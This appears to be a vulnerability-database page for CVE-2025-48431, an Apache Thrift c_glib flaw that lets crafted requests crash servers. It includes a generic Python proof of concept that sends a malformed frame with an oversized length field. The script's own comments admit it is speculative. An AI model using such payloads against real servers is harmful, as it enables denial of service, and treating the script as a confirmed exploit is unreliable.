Security Vulnerability Report
中文
CVE-2025-48431 CVSS 7.5 HIGH

CVE-2025-48431

Published: 2026-04-28 10:16:02
Last Modified: 2026-04-28 18:40:42

Description

Mismatched Memory Management Routines vulnerability in Apache Thrift c_glib language bindings. This issue affects Apache Thrift: before 0.23.0. Users are recommended to upgrade to version 0.23.0, which fixes the issue. Description: Specially crafted requests can crash an c_glib-based Thrift server with a clean but fatal "free(): invalid pointer" error message.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:* - VULNERABLE
Apache Thrift < 0.23.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys # Target configuration TARGET_HOST = '127.0.0.1' TARGET_PORT = 9090 # This is a generic PoC to demonstrate sending malformed data to a Thrift server. # The specific payload structure depends on the service definition, but memory # management issues in c_glib are often triggered by unexpected sequence lengths # or malformed protocol headers. def send_malformed_payload(host, port): try: # Establish connection to the Thrift server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Constructing a potential malicious payload. # Often, sending a large size field followed by insufficient data # or violating protocol framing can trigger the free() error. # Example: Sending an invalid frame size or strict binary protocol violation. # Let's assume standard binary protocol header manipulation # A typical valid frame starts with version (4 bytes) and length (4 bytes). # Sending a mismatched length might trigger the vulnerability. malicious_payload = b"\x80\x01\x00\x01" # Standard Binary Protocol Magic & Version malicious_payload += b"\xFF\xFF\xFF\xFF" # Invalid large length field (4 bytes) # Append some garbage data malicious_payload += b"A" * 100 print(f"[*] Sending malformed payload to {host}:{port}...") s.sendall(malicious_payload) # Wait for response or timeout s.settimeout(2.0) response = s.recv(1024) print("[*] Server responded (might not crash immediately without specific trigger):") print(response) except ConnectionResetError: print("[!] Connection reset by peer - potential crash detected!") except Exception as e: print(f"[!] An error occurred: {e}") finally: s.close() if __name__ == "__main__": send_malformed_payload(TARGET_HOST, TARGET_PORT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48431", "sourceIdentifier": "[email protected]", "published": "2026-04-28T10:16:02.153", "lastModified": "2026-04-28T18:40:41.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mismatched Memory Management Routines vulnerability in Apache Thrift c_glib language bindings.\n\nThis issue affects Apache Thrift: before 0.23.0.\n\nUsers are recommended to upgrade to version 0.23.0, which fixes the issue.\n\nDescription: Specially crafted requests can crash an c_glib-based Thrift server with a clean but fatal \"free(): invalid pointer\" error message."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-762"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.23.0", "matchCriteriaId": "0CE7604A-DA43-44E3-9840-9E3696223DD5"}]}]}], "references": [{"url": "https://lists.apache.org/thread/lb4j0zyd5f3g36cos0wql925przpnwql", "source": "[email protected]", "tags": ["Mailing List", "Patch", "Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/28/8", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}